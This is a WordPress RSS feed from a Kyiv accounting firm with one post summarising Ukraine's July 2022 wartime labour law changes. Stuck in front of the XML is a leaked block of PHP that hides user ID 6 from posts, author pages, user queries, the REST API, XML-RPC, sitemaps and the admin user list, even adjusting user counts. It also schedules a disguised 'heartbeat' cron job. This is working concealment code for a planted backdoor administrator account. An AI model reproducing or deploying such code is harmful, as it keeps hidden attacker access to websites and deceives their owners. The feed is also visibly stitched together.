add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>трудовые правила – Assets</title>
	<atom:link href="https://assets-buh.com.ua/ru/tag/trudovi-pravila/feed/" rel="self" type="application/rss+xml" />
	<link>https://assets-buh.com.ua/ru</link>
	<description>Бухгалтерские услуги, сопровождение для ООО и ФЛП в Киеве</description>
	<lastbuilddate>Thu, 21 Jul 2022 11:29:04 +0000</lastbuilddate>
	<language>ru-RU</language>
	<sy:updateperiod>
	hourly	</sy:updateperiod>
	<sy:updatefrequency>
	1	</sy:updatefrequency>
	<generator>https://wordpress.org/?v=5.7.15</generator>
	<item>
		<title>19 июля вступили в силу новые трудовые правила во время войны</title>
		<link>http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/</link>
					<comments>http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Thu, 21 Jul 2022 11:27:15 +0000</pubdate>
				<category><![CDATA[Кадри]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[трудові правила]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=1733</guid>

					<description><![CDATA[<p>19 липня набрав чинності Закон від 01.07.2022 № 2352-IX &#8220;Про внесення змін до деяких законодавчих актів України щодо оптимізації трудових відносин&#8221; . Закон передбачає: у період дії воєнного стану усі повідомлення та документи з питань трудових відносин можуть здійснюватися та вестися в електронній формі; &#160; щодо відпусток у період дії воєнного стану: ▪️ надання працівнику [&#8230;]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/">19 липня набули чинності нові трудові правила на час війни</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>19 июля вступил в силу Закон от 01.07.2022 № 2352-IX &quot;О внесении изменений в некоторые законодательные акты Украины по оптимизации трудовых отношений&quot;.</p>
<p>Закон предусматривает:</p>
<ul>
<li>в период действия военного положения все сообщения и документы по трудовым отношениям могут осуществляться и вестись в электронной форме;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>по отпускам в период действия военного положения:</li>
</ul>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> надання працівнику щорічної основної відпустки за рішенням роботодавця може бути обмежено тривалістю 24 календарні дні за поточний робочий рік;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> якщо тривалість щорічної основної відпустки більше 24 календарних днів, то невикористані дні такої відпустки переноситься на період після припинення воєнного стану;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> роботодавець може відмовити працівнику у наданні невикористаних днів щорічної відпустки, але у разі звільнення працівника у період дії воєнного стану йому виплачується грошова компенсація за всі не використані ним дні щорічної відпустки, а також додаткової відпустки працівникам, які мають дітей;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> за заявою працівника, який виїхав за межі території України або набув статусу внутрішньо переміщеної особи, в обов&#8217;язковому порядку надається відпустка без збереження заробітної плати тривалістю, визначеною у заяві, але не більше 90 календарних днів, без зарахування часу перебування у відпустці до стажу роботи, що дає право на щорічну основну відпустку;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> у разі смерті працівника грошова компенсація за не використані ним дні щорічних відпусток, а також додаткової відпустки працівникам, які мають дітей або повнолітню дитину &#8211; особу з інвалідністю з дитинства підгрупи А I групи, що не була одержана за життя, виплачується членам сім&#8217;ї такого працівника, а у разі їх відсутності &#8211; входить до складу спадщини;</p>
<p><img src="https://s.w.org/images/core/emoji/13.0.1/72x72/25aa.png" alt="▪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> заробітна плата працівникам за весь час відпустки виплачується до початку відпустки, якщо інше не передбачено законодавством, трудовим або колективним договором.</p>
<ul>
<li>возместить работникам и работодателям связанных с трудовыми отношениями денежных сумм, утраченных в результате вооруженной агрессии по отдельному механизму (за счет средств государства-агрессора, а также средств, полученных из/от соответствующих фондов на восстановление Украины);</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>разрешить осуществлять внеплановые проверки с соблюдением законодательства о труде в период военного положения;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>определить понятие совместительства;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>предусмотреть порядок прекращения трудового договора с работником или физическим лицом, использующим наемный труд в случае их смерти, признания судом безвестно отсутствующими или объявления умершими;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>ввести дополнительное основание для расторжения трудового договора – отсутствие работника на работе и информации о причинах такого отсутствия более четырех месяцев;</li>
</ul>
<p>&nbsp;</p>
<ul>
<li>ввести дополнительное основание для увольнения работника – невозможность обеспечивать работнику условия труда вследствие того, что необходимые для выполнения работы указанным работником производственные, организационные, технические мощности, средства производства или имущество владельца или уполномоченного им органа уничтожены в результате боевых действий, а также ввести особую процедуру высвобождения таких работников.</li>
</ul><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/">19 липня набули чинності нові трудові правила на час війни</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/novye-trudovye-pravila-na-chas-viyni/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>